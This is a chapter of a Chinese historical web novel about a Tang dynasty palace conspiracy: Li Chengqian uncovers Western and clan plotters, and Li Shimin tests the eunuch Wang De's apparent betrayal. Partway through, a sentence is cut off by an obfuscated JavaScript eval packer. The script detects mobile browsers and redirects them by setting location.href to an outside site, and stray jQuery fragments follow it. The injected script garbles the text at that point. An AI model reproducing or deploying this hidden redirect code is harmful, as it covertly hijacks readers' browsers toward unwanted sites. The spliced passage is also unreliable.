“这是…西突厥王庭的金鹰令？”


    李承乾曾在兵部档案中见过类似图样，“但西突厥去年已被李靖大将军击溃，王庭西迁，怎会…”


    “或许不是现在的西突厥王庭，”


    一个清冷的女声响起，苏婉端着一碗汤药走进军帐，“妾身曾听父亲提起，隋末乱世时，西域诸国多有遣使或商人滞留中原，其中不乏前朝余孽、失势贵族。


    他们隐姓埋名，暗中勾结，图谋复起。”


    李承乾接过汤药，示意苏婉坐下：“婉儿是说，这些西域势力可能与中原某些不满现状的势力合流了？”


    “不止如此，”


    苏婉轻声道，“妾身方才查看那些**尸体时注意到，有几个虽然作西域人打扮，但骨骼面相、手掌老茧的位置，却更像是中原习武之人伪装的。


    还有一人，他虎口与食指的老茧特别厚，那是长期使用算筹或执笔的痕迹。”


    李承乾与李恪对视一眼，都从对方眼中看到了凝重。


    “世家…”李承乾缓缓吐出两个字。


    中原世家大族，多有自己的私兵、门客，其中不乏文人转武事者。


    若真如苏婉所察，那“北斗”的构成就更加复杂了——西域残余势力、前朝余孽、失意世家…这些本不相干的势力，究竟是如何被糅合在一起，又为了什么共同目标而行动？


    “报——”


    帐外传来斥候急促的声音，“长安方向有新的烽烟信号！


    春明门已开，程处亮将军正率部向皇城方向推进！


    但途中遭遇不明军队阻击！”


    李承乾猛地站起：“不明军队？打着谁的旗号？”


    “旗号杂乱，有‘清君侧’、‘**难’等字样，但不见魏王府或任何亲王标识！”


    李承乾走到帐中悬挂的长安简图前，手指点向春明门至皇城的路线：


    “程处亮只有三百骑，若遇大军阻击，恐难支撑。


    三弟，你即刻率一千精骑驰援，不必硬拼，只需接应程处亮部撤退至安全地带，牵制敌人即可。”


    “诺！”李恪领命，却又迟疑，“哥，那你的安全…”


    “无妨，灞桥驿经此一战，敌人暂时无力组织二次大规模袭击。况且，”


    李承乾眼中寒光一闪，“我也该动身了。”


    “哥要去何处？”


    “长安。”


    李承乾转身，看向长安城方向，“这场戏，主角若总不在场，岂不辜负了那些处心积虑为我搭台之人？”


    ……


    时间回到亥时初刻的承庆殿。


    当王德跪伏在地，额头渗出细密汗珠时，龙榻上的李世民，那浑浊眼眸深处，掠过一丝极难察觉的复杂神色。


    他确实怀疑王德，也确实设局试探。


    但当王德真的变脸，承认背叛时，那种被最亲近之人捅刀的痛楚，依旧如淬毒的**，狠狠扎进心房。


    四十年啊。


    从晋阳起兵时的少年，到如今威加海内的天可汗，王德一直跟随左右。


    他记得这个阉人在玄武门之变那夜，冒着箭雨为他递上弓矢；


    记得他在自己重病时衣不解带地侍奉汤药；


    记得他无数次在深夜里，默默添上灯油，陪伴批阅奏折到天明…


    可如今，他却跪在这里，用那双曾为自己研墨奉茶的手，端着一碗可能是**的汤剂，眼中再无半分情谊，只有冰冷的算计。


    “陛下既然猜到了，又何必多问？”王德的声音像冬日的冰凌，刺耳而尖锐。


    李世民缓缓闭上眼睛，再睁开时，所有的痛楚与软弱都被深埋，只剩下帝王的威严与冰冷。


    “果然…是青雀，还是…另有其人？”


    他问出这句话时，敏锐地捕捉到王德眼底一闪而过的挣扎。


    虽然只有一瞬，却被李世民精准地捕捉到。


    这个老奴才，似乎…并非全然心甘情愿？


    “陛下很快就会知道了。”


    王德站起身，脸上那诡异的笑容显得有些僵硬。


    他拍了拍手，唤出那两名魁梧宦官时，手指竟有细微的颤抖。


    这一切都被李世民收入眼底。


    所以当沈迁破窗而入，张贲率右骁卫“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134282|177268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反正”时，李世民并未表现出过多惊讶。


    他冷静地观察着殿内混战，观察着每个人的表现。


    王德在张贲刀锋指向他时，那种惊骇不似作伪，连滚爬爬的狼狈也太过真实。


    但当张贲真正要擒拿他时，这老宦官却下意识地向龙榻方向瞥了一眼——虽然极其隐蔽，但李世民看到了。


    那是询问，是请示，是…等待下一步指示的眼神。


    李世民心中那根紧绷的弦，稍稍松了一分。


    但他不敢全然确定，这场戏必须继续演下去。


    于是，他下达了那些命令：擒拿王德、配合太子、肃清朝纲…每一句都铿锵有力，每一句都是帝王应有的反应。


    直到沈迁说出“父皇安心”四个字，李世民那坚硬如铁的心防，终于裂开一道缝隙。


    眼眶发热的感觉久违了，他强忍住，挥手让沈迁离去。


    殿内恢复安静后，王德被捆绑着跪在角落，低垂着头，不发一言。


    张贲亲自守在榻前，其余军士清理殿内尸体，加强警戒。


    李世民靠坐在榻上，仿佛疲惫至极，闭目养神。


    但实际上，他的大脑在飞速运转。


    王德若真是假背叛，那这局棋就是他自己亲手所布——在察觉身体被慢性下毒后，他故意露出破绽，引出幕后之人，同时暗中联络长孙无忌等人，布置后手。


    王德的“背叛”，是这局棋中最危险也最关键的一步，因为唯有真正取得敌人信任，才能探知最深层的秘密。


    但王德若真背叛了呢？


    李世民不敢深想。


    为帝王者，可以布局，可以算计，却最忌将全部希望寄托于一人的忠诚上。


    所以他还有后手——长孙无忌、房玄龄、李靖等老臣，以及那些他暗中培养、只效忠于皇帝本人的“影卫”。


    今夜，所有的牌都将翻开。


    “张贲。”李世民忽然开口。


    “末将在！”


    “朕问你，你今夜行动，除了太子密信与赵国公手谕，可还有其他人给你指令？”


    …………